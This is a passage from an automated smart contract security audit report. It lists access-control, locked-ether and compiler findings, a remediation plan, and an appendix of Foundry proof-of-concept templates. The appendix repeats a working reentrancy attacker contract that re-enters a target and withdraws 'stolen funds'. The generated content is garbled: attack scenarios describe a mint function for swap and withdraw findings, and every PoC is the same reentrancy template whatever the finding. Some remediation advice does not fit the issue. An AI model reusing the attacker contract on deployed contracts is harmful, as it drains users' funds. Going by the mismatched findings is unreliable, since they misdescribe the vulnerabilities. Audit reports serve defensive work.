- SWC-106
- OWASP Smart Contract Top 10

F-016. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	40%
Location	unknown:76 (swap)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function swap performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    // function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-017. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	40%

PROPERTY	VALUE
Location	unknown:48 (withdraw)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function withdraw performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
```

```
// function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-018. empty-require-revert

PROPERTY	VALUE
Severity	MEDIUM
Category	other
CVSS Score	6.8
Confidence	72%
Location	Disperse.sol:29 (unknown)
Status	Open (72% conf.)
Detected By	aderyn

Description

Use descriptive reason strings or custom errors for revert paths.

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-019. empty-require-revert

PROPERTY	VALUE
Severity	MEDIUM
Category	other
CVSS Score	6.8
Confidence	72%
Location	Disperse.sol:30 (unknown)
Status	Open (72% conf.)
Detected By	aderyn

Description

Use descriptive reason strings or custom errors for revert paths.

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-020. push-zero-opcode

PROPERTY	VALUE
Severity	MEDIUM
Category	other
CVSS Score	6.8
Confidence	44%

PROPERTY	VALUE
Location	<code>IWETH9.sol:3</code> (unknown)
Status	Open (44% conf.)
Detected By	aderyn

Description

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-021. locked-ether

PROPERTY	VALUE
Severity	MEDIUM
Category	other
CVSS Score	6.8
Confidence	74%
Location	<code>research/contracts/bridge/wrappers/swap/MockSwap.sol:5</code> (MockSwap)
Status	Open (74% conf.)

PROPERTY	VALUE
Detected By	slither

Description

Contract locking ether found: Contract MockSwap has payable functions: - MockSwap.swap(uint8,uint8,uint256,uint256,uint256) But does not have a function to withdraw the ether

Vulnerable Code

```

1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity 0.6.12;
4 |
>> 5 | contract MockSwap {
6 |     function calculateSwap(
7 |         uint8,
8 |         uint8,
9 |         uint256
10 |     ) external pure returns (uint256) {

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Provide a withdrawal function or ensure contract is payable

References

- SWC-132
- OWASP Smart Contract Top 10

F-022. unspecific-solidity-pragma

PROPERTY	VALUE
Severity	MEDIUM
Category	other
CVSS Score	6.8
Confidence	44%
Location	Disperse.sol:3 (unknown)
Status	Open (44% conf.)

PROPERTY	VALUE
Detected By	aderyn

Description

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-023. calls-loop

PROPERTY	VALUE
Severity	LOW
Category	denial_of_service
CVSS Score	6.8
Confidence	74%
Location	research/contracts/bridge/utils/MulticallView.sol:16 (multicallView)
Status	Open (74% conf.)
Detected By	slither

Description

MulticallView.multicallView(bytes[]) has external calls inside a loop: `(callResults[i].success,callResults[i].returnData) = address(this).staticcall(data[i])`

Vulnerable Code

```

11 |     }
12 |
13 |     /// @notice Aggregates a few static calls to this contract into one
multicall.
14 |     /// Any of the calls could revert without having impact on other calls.
That includes the scenario,
15 |     /// where a data for state modifying call was supplied, which would lead
to one of the calls being reverted.
>> 16 |     function multicallView(bytes[] memory data) external view returns
(Result[] memory callResults) {
17 |         uint256 amount = data.length;
18 |         callResults = new Result[](amount);
19 |         for (uint256 i = 0; i < amount; ++i) {
20 |             // We perform a static call to ourselves here. This will record
'success' as false,
21 |             // should the static call be reverted. The other calls will still
be performed regardless.

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Avoid unbounded loops over dynamic arrays. Use pull-over-push pattern for payouts. Set gas limits on external calls.

References

- OWASP Smart Contract Top 10

6. Remediation Roadmap

6.1 Prioritized Actions

PRIORITY	FINDING	SEVERITY	RECOMMENDED ACTION
1	uninitialized-owner	CRITICAL	Immediate fix required
2	unprotected-privileged-function	HIGH	Immediate fix required
3	unprotected-privileged-function	HIGH	Immediate fix required
4	experimental-encoder	HIGH	Immediate fix required
5	experimental-encoder	HIGH	Immediate fix required
6	contract-locks-ether	HIGH	Immediate fix required

PRIORITY	FINDING	SEVERITY	RECOMMENDED ACTION
7	unprotected-privileged-function	HIGH	Immediate fix required
8	unprotected-privileged-function	HIGH	Immediate fix required
9	unprotected-privileged-function	HIGH	Immediate fix required
10	unprotected-privileged-function	HIGH	Immediate fix required
11	unprotected-privileged-function	HIGH	Immediate fix required
12	unprotected-privileged-function	HIGH	Immediate fix required
13	unprotected-privileged-function	HIGH	Immediate fix required
14	unprotected-privileged-function	HIGH	Immediate fix required
15	unprotected-privileged-function	HIGH	Immediate fix required
16	unprotected-privileged-function	HIGH	Immediate fix required
17	unprotected-privileged-function	HIGH	Immediate fix required

6.2 Remediation Timeline

PHASE	WEEK	PRIORITY	FINDINGS	ACTION
1	Week 1	Critical & High	1 + 16	Immediate remediation required
2	Week 2	Medium	5	Address medium severity issues
3	Week 3	Low & Info	1 + 0	Fix low priority items
4	Week 4	Verification	-	Re-audit and validation

6.3 Quick Wins

The following fixes provide high security impact with minimal effort: - **contract-locks-ether** - Add reentrancy guard modifier - **empty-require-revert** - Add input validation with require statements - **empty-require-revert** - Add input validation with require statements - **locked-ether** - Add reentrancy guard modifier - **unspecific-solidity-pragma** - Update Solidity version pragma

6.4 Effort vs Impact Matrix

IMPACT

	Low	Medium	High
E F F O R T	Avoid 0	Consider 0	Schedule 17
High ↑ Med ↑ Low	Defer 1	Plan 4	Priority 0
	If Time 0	Quick Win 1	DO FIRST! 0

Prioritization Summary:

- **Quick Wins (1):** Low effort, medium impact - easy improvements
- **Schedule (17):** High effort, high impact - important but complex

7. Appendices

Appendix A: Tool Execution Details

A.1. miesc-intelligence

Execution Time: N/A **Exit Code:** 0 **Findings:** 23

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 23

Findings summary:
1. [CRITICAL] uninitialized-owner (line 20)
2. [HIGH] unprotected-privileged-function (line 22)
3. [HIGH] unprotected-privileged-function (line 12)
4. [HIGH] experimental-encoder (line 3)
5. [HIGH] experimental-encoder (line 3)
6. [HIGH] contract-locks-ether (line 5)
7. [HIGH] unprotected-privileged-function (line 172)
8. [HIGH] unprotected-privileged-function (line 62)
9. [HIGH] unprotected-privileged-function (line 201)
10. [HIGH] unprotected-privileged-function (line 253)
... and 13 more
```

A.2. frontier-ollama

Execution Time: 545.0743639469147s **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

Appendix B: Proof of Concept Exploits

The following PoC exploit templates were generated for critical/high findings. These are designed for local Foundry test environments and are NOT production exploits.

B.1. F-001 - uninitialized-owner

Severity: CRITICAL | **Category:** access_control

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Owner variable declared but not initialized in constructor
 * Severity: Critical
 * Target Function: vulnerable
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;
```

```

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("Unknown.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

```

```

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);

    assertGt(count, 1, "Should have re-entered at least once");
}
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy

```

B.2. F-002 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function mint performs privileged operation without access control
 * Severity: High
 * Target Function: mint
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function mint() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

```

```

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("Unknown.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");

```

```

        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
    }

    function test_reentrancy_count() public {
        // Fund attacker
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("mint()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("mint()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
    }
}

```

```

        payable(owner).transfer(address(this).balance);
    }
}

```

B.3. F-003 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function mint performs privileged operation without access control
 * Severity: High
 * Target Function: mint
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function mint() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract

```

```

// target = IVulnerable(deployCode("Unknown.sol"));

// Deploy attacker contract
vm.prank(attacker);
attackerContract = new AttackerContract(address(target));

// Victim deposits funds
vm.prank(victim);
target.deposit{value: VICTIM_DEPOSIT}();

console.log("=== Setup Complete ===");
console.log("Target balance:", address(target).balance);
console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);
}

```

```

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {

```

B.4. F-004 - experimental-encoder

Severity: HIGH | **Category:** other

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title IMiniChefV2 Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Experimental encoders should not be used in production. There are
multiple known compiler bugs that are caused by the experimental encoder. Upgrade your
solidity version to remove the need for experimental features.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract IMiniChefV2ReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses

```

```

address public attacker;
address public victim;

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("IMiniChefV2.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions

```

```

        assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
    }

    function test_reentrancy_count() public {
        // Fund attacker
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("unknown()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("unknown()")
        );
        require(withdrawSuccess, "Initial call failed");
    }
}

```

```

function withdrawStolenFunds() external {
    require(msg.sender == owner, "Not owner");
    payable(owner).transfer(address(this).balance);
}
}

```

B.5. F-005 - experimental-encoder

Severity: HIGH | **Category: other**

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title MulticallView Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Experimental encoders should not be used in production. There are
multiple known compiler bugs that are caused by the experimental encoder. Upgrade your
solidity version to remove the need for experimental features.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract MulticallViewReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);
    }
}

```

```

// Deploy target contract
// target = IVulnerable(deployCode("MulticallView.sol"));

// Deploy attacker contract
vm.prank(attacker);
attackerContract = new AttackerContract(address(target));

// Victim deposits funds
vm.prank(victim);
target.deposit{value: VICTIM_DEPOSIT}();

console.log("=== Setup Complete ===");
console.log("Target balance:", address(target).balance);
console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);

```

```

        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
    }
}

```

B.6. F-006 - contract-locks-ether

Severity: HIGH | **Category:** other

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title MockSwap Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: It appears that the contract includes a payable function to accept
 * Ether but lacks a corresponding function to withdraw it, which leads to the Ether being
 * locked in the contract. To resolve this issue, please implement a public or external
 * function that allows for the withdrawal of Ether from the contract.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
